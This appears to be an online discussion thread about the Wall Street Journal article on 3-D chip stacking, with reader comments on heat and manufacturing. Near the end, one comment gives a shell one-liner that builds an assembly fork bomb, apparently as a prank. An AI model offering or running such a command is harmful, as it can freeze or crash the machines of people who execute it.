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The Secret to Tech's Next Big Breakthroughs? Stacking Chips (wsj.com)
Christopher Mims, writing for the Wall Street Journal: A funny thing is happening to the most basic building blocks of nearly all our devices. Microchips, which are usually thin and flat, are being stacked like pancakes (Editor's note: the link could be paywalled). Chip designers -- now playing with depth, not just length and width -- are discovering a variety of unexpected dividends in performance, power consumption and capabilities. Without this technology, the Apple Watch wouldn't be possible. Nor would the most advanced solid-state memory from Samsung, artificial-intelligence systems from Nvidia and Google, or Sony's crazy-fast next-gen camera. Think of this 3-D stacking as urban planning. Without it, you have sprawl -- microchips spread across circuit boards, getting farther and farther apart as more components are needed. But once you start stacking chips, you get a silicon cityscape, with everything in closer proximity.
The advantage is simple physics: When electrons have to travel long distances through copper wires, it takes more power, produces heat and reduces bandwidth. Stacked chips are more efficient, run cooler and communicate across much shorter interconnections at lightning speed, says Greg Yeric, director of future silicon technology for ARM Research, part of microchip design firm ARM.
The advantage is simple physics: When electrons have to travel long distances through copper wires, it takes more power, produces heat and reduces bandwidth. Stacked chips are more efficient, run cooler and communicate across much shorter interconnections at lightning speed, says Greg Yeric, director of future silicon technology for ARM Research, part of microchip design firm ARM.
This was thought of a long time ago and experimented with, but the real problem with it was heat. You stack silicon on top of silicon, and there's heat build-up, and heat kills. The real 'breakthrough' and 'innovation' is being down to the 10nm scale, and other lower-power options, enabling silicon to run cooler yet at faster speeds.
Benefits: 3D circuits (with the extra potential complexity that implies), smaller chip for the same complexity (with reduced signal distance and heat generation)
Drawback: Getting heat out of the chip as only the outer layers will be next to a heat sink. Then again, we're talking 3D here... maybe they'll figure out how to weave a mesh of tiny heat pipes around the circuits.
How long until little bits of data on their Lightcycles start causing trouble?
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
In my EE grad class in 1998, we discussed chip stacking. Given the 2D manufacturing tech at the time (where chips are designed and manufactured in 2D then cut and seated in a larger housing), the biggest issue was literally how to bridge the 3rd dimension. Any imperfection in the wafer would mean an uneven seat when stacked. You have heat dissipation issues, which means a limitation in clock speed. And the simple act of aligning the layers at nm distances wasn't possible at the time. To get around this, you design a larger contact pad to allow for misalignment. The problem then was what happens when you have large plates in electric fields? That's right, capacitance, which screws up the expected voltage and creates resonance. It would revolutionize the industry, but there are a ton of technical issues to overcome.
Isn't that the magical breakthrough that made cyberdyne so much money?
https://i.ytimg.com/vi/DGQlYCFT7d0/maxresdefault.jpg
If an experiment works, something has gone wrong.
https://archive.fo/Af3EZ
By Christopher Mims
Nov. 19, 2017 9:00 a.m. ET
A funny thing is happening to the most basic building blocks of nearly all our devices. Microchips, which are usually thin and flat, are being stacked like pancakes.
Chip designers-now playing with depth, not just length and width-are discovering a variety of unexpected dividends in performance, power consumption and capabilities.
Without this technology, the Apple Watch wouldn't be possible. Nor would the most advanced solid-state memory from Samsung, artificial-intelligence systems from Nvidia and Google, or Sony's crazy-fast next-gen camera.
Think of this 3-D stacking as urban planning. Without it, you have sprawl-microchips spread across circuit boards, getting farther and farther apart as more components are needed. But once you start stacking chips, you get a silicon cityscape, with everything in closer proximity.
The advantage is simple physics: When electrons have to travel long distances through copper wires, it takes more power, produces heat and reduces bandwidth. Stacked chips are more efficient, run cooler and communicate across much shorter interconnections at lightning speed, says Greg Yeric, director of future silicon technology for ARM Research, part of microchip design firm ARM.
While the principles that underlie 3-D microchips are straightforward, making them is anything but. First proposed in the 1960s, the technology has sporadically appeared in high-end applications, such as military hardware, Mr. Yeric says.
But stacked-chip offerings from most major chipmakers-AMD, Intel, Apple, Samsung and Nvidia-plus smaller, specialized companies like Xilinx, have been around only five years or so, says Sinjin Dixon-Warren, an analyst at microchip research firm TechInsights. What changed? Engineers started running out of other ways to squeeze more performance out of microchips.
Stacked chips are frequently part of a "package" of other scrunched-together chips. In addition to saving space, this lets makers create many different chips-with different manufacturing processes-and then more or less literally glue them all together. The "3-D system in package" approach contrasts with the "system on a chip" approach frequently used in mobile phones, where all the different components of the phone are etched on a single piece of silicon.
One of the most advanced 3-D chip packages has powered the Apple Watch since its introduction, Mr. Dixon-Warren says. Thirty different chips are hermetically sealed inside a plastic envelope. To save space, memory is stacked on top of the logic circuit, he says. The watch couldn't be so compact without chip stacking.
But where Apple's chips are stacked only two stories high, Samsung has produced a veritable silicon high-rise. Samsung's V-NAND flash memory, used for storing data in phones, cameras and laptops, has 64 chips placed one atop the other. Samsung just announced that a future version will have 96 layers.
Nvidia's Volta microprocessors are built for artificial intelligence, with up to eight layers of high-bandwidth memory stacked onto the GPU. Shown, Nvidia chips exhibited at the Computex show in Taipei in May.
Memory is a natural application for chip-stacking technology, since it solves a problem that has long plagued chip designers: Adding more cores to anything from an iPad to a supercomputer didn't translate to hoped-for speed gains because of the communications lag between logic circuits and the memory they need to do their jobs. Sticking memory right on top of chips allows for many more short connections between the two.
That's how Nvidia's built-for-AI Volta microprocessors work, says Brian Kelleher, the company's senior vice president of hardware engineering. By stacking up to eight layers of high-bandwidth memory directly on top of the GPU, these chips are breaking records in processing efficiency.
"We are power-limited," says Mr. Kelleher, referring to the amount of
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
From what I can recall, Pringles were the first to stack chips.